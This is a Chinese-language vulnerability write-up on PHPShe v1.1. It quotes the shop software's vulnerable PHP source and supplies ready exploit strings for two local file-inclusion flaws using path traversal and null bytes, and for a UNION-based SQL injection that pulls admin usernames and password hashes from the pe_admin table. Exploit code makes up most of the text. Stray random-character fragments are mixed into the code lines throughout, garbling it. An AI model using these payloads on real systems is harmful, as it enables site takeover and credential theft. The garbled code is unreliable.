phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
: S3 Q  X9 t7 q; A# V5 c& \3 I& j/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
, E6 i! q. u  y$ ~; a0×00 整体大概参数传输
5 H/ I0 J( m+ c! g2 t) ?/ t0 {
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//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
' L, p  E2 ?% e/ k; V!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
1 Z+ y$ l+ y) Yelse {
: u+ A4 Q. @+ d: B!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
1 G% J$ h; u" J4 n- x# n  D# bsession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
9 q8 I' G0 D' e+ m- U# U4 o( a3 }( R!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
3 w+ n+ q- w( B: `+ \
7 X8 b  a& P  g% r9 o% `0×01 包含漏洞
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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
- g* [; p/ F/ ~pe_result();
& U. t9 ^/ b. ^/ u2 w* @+ n?>
//common 文件 第15行开始
url路由配置
- _9 r" e" f) {; }( V( O" z2 u$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
0 ]# u8 y2 J' Y2 U5 K. I3 I) [$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入
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$ M8 h! c" v3 p; L<code id="code2">

//product.php文件
5 D* }$ H$ C& z' i; Pcase 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
9 m! E. n5 s8 y0 A" F//搜索
" `( n$ N2 z' V+ [$ i$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
, t1 }9 Y* \8 u! w* eif ($category_id) {
* H# ~7 z, z  {) U: \where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
* W- i) V5 ^( [! K' J3 o  t}
2 }6 [8 X/ D8 Y9 u! a. l" q) N$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
. v* @. P" M6 ~8 G$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
  E/ ?( P7 q, ?. a; P, H$sqlwhere .= " order by `product_id` desc";
) W3 `5 X5 h2 n2 U}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
0 |; l/ x; q/ ?* ~  p" Y) m9 C$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
( o/ x8 M+ p& D//exp
2 f; P# [- Q# k+ aproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

1 x+ ^7 R" f5 B0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

7 O7 G$ L- c3 s% m$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

- x; d% G! Q6 _9 N% u}

$ [4 y! ?5 s% ^9 V$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

2 m) f: \1 b" p7 R' c4 Q0 M& Q, Iif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

! h) C! B3 |! P$order['order_name'] .= "{$v['product_name']};";
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}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

! y. y1 W- g: S% f}

; u  v" P3 p' v/ J}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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